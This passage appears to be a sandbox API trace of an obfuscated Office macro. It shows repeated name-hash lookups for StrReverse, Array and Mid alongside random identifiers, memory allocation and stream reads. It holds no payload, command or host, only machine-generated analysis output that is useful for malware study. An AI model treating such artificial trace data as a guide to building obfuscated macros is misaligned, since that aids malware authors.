(syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="NtbtvSPSY") returned 0x10610f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TpVJDcOtwPR") returned 0x10a1e7 [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lYFPtfhQ") returned 0x101e35 [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.266] CExposedStream::Read () returned 0x0 [0018.266] CExposedStream::Read () returned 0x0 [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fjhvQUbAK") returned 0x1088e5 [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="KoVYBPC") returned 0x10a0a3 [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CZiocIiQdwH") returned 0x10dc23 [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="nNQhEo") returned 0x10670e [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.266] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBHwQb") returned 0x109f1d [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="AAZTHc") returned 0x100aba [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="zpRlECYK") returned 0x10f6f3 [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="NQqHSN") returned 0x101ebc [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ORYjGUt") returned 0x10eefa [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.267] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fYGpcViC") returned 0x106628 [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="HDPJPQPm") returned 0x1093c5 [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RdTzok") returned 0x10c168 [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jFiifKWEKM") returned 0x10c159 [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.268] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="pKBiVF") returned 0x105158 [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="umCrVnjj") returned 0x10bc56 [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jQURiYNqSN") returned 0x106b8b [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MlXEHoH") returned 0x10c517 [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.269] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="oVtKFDPj") returned 0x10e37c [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="zKQciOjijq") returned 0x1081de [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="iKbNi") returned 0x106564 [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="kJHNwlhcAS") returned 0x108b5b [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.270] CExposedStream::Read () returned 0x0 [0018.270] CExposedStream::Read () returned 0x0 [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MNzDphaKF") returned 0x10b7c2 [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.270] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.271] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.271] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.271] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.271] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.271] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.271] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.271] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.271] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.271] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TzjXOlTQJ") returned 0x108b94 [0018.271] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.271] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.271] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.271] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.271] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.271] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.271] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.271] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.271] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.271] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.271] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RXwUZqT") returned 0x10a3cd [0018.271] VirtualAlloc (lpAddress=0x7201000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x7201000 [0018.272] CExposedStream::Read () returned 0x0 [0018.272] CExposedStream::Read () returned 0x0 [0018.272] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="qHXPhnQPQ") returned 0x1035a6 [0018.272] strcpy_s (in: _Dst=0x7fef108d150, _DstSize=0x100, _Src="qHXPhnQPQ" | out: _Dst="qHXPhnQPQ") returned 0x0 [0018.272] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="IwTCUXD") returned 0x102c0f [0018.272] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LkRzpjBA") returned 0x10715e [0018.272] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RdTzok") returned 0x10c168 [0018.272] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fznmt") returned 0x1084cc [0018.272] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GcuDU") returned 0x107850 [0018.272] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RzjiZUBST") returned 0x105ad4 [0018.272] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wdkSzkswAd") returned 0x10de5c [0018.272] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="FHWbHnY") returned 0x104e3f [0018.272] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="iriMtn") returned 0x102caf [0018.272] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CHMcCkuwJ") returned 0x103595 [0018.272] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="oJoVa") returned 0x1051bd [0018.272] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="FvwQYKdMl") returned 0x10089a [0018.272] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="KtMAsLrjVh") returned 0x109ca7 [0018.272] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="braqNzczP") returned 0x101cf9 [0018.272] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="nNQhEo") returned 0x10670e [0018.272] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="azSzj") returned 0x10c7dc [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lYFPtfhQ") returned 0x101e35 [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="iKbNi") returned 0x106564 [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hjQdMhzlCwi") returned 0x10f7ab [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="rpzsjwfVzwj") returned 0x10d72c [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ldNfBkJk") returned 0x1030ec [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="QrXDmrB") returned 0x10a1a7 [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="tWPZjRnfZvd") returned 0x10b1e5 [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="OMqFsfqv") returned 0x10a466 [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dowNi") returned 0x100d4c [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SkhQBlAT") returned 0x109d9d [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LGZOvzEdA") returned 0x1047c0 [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="uldQs") returned 0x100d10 [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DHmfiNjSS") returned 0x10d56c [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bIpKNmjNOnS") returned 0x1003bc [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jQURiYNqSN") returned 0x106b8b [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ZUhYOWIRGG") returned 0x106df8 [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jLzFYpD") returned 0x103c85 [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hROtf") returned 0x108187 [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RXwUZqT") returned 0x10a3cd [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="pMEqjhpwLRv") returned 0x1023de [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="NQqHSN") returned 0x101ebc [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GmwbYwczd") returned 0x102294 [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.273] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.273] 